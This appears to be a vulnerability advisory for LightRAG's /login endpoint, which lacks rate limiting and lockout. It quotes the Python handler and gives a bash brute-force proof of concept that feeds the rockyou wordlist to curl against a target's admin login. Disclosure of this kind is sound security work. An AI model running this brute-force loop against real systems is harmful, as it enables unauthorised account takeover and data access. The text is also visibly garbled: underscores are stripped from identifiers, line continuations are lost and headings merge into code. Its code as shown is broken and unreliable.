Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
python
# lightrag/api/lightrag server.py:2161
@app.post("/login")
async def login(form data: OAuth2PasswordRequestForm = Depends()):
if not auth handler.verify password(username, form data.password):
raise HTTPException(status code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counterA search for slowapi, rate limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
bash
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http code}"
-X POST http://<TARGET>:9621/login
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txtImpact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
